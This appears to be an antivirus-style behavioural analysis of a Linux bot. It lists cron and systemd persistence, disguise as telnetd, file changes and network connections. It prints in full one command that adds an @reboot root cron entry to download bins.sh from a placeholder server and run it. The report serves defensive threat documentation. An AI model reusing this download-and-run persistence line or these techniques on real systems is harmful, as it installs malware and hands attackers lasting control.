Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- telnetd
Manages services:
- ['/bin/systemctl', 'enable', 'bot']
Launches processes:
- crontab -
- crontab -l
- /bin/systemctl enable bot
- sh bins.sh
- (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
- chmod +x bins.sh
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.YzD6By
Creates or modifies files:
- /dev/full
- /var/spool/cron/crontabs/tmp.YzD6By
- /root/.bashrc
- /usr/lib/systemd/system/bot.service
Changes time of creation/access/modification of files:
- /var/spool/cron/crontabs
Network activity:
Awaits incoming connections on ports:
- 1.#.#.127:4161
- 0.0.0.0:4161
Establishes connection:
- 8.#.8.8:53
- 0.0.0.0:4161
- 1.#.1.1:53
- 14#.##.7.49:1290
DNS ASK:
- ex###cam.pro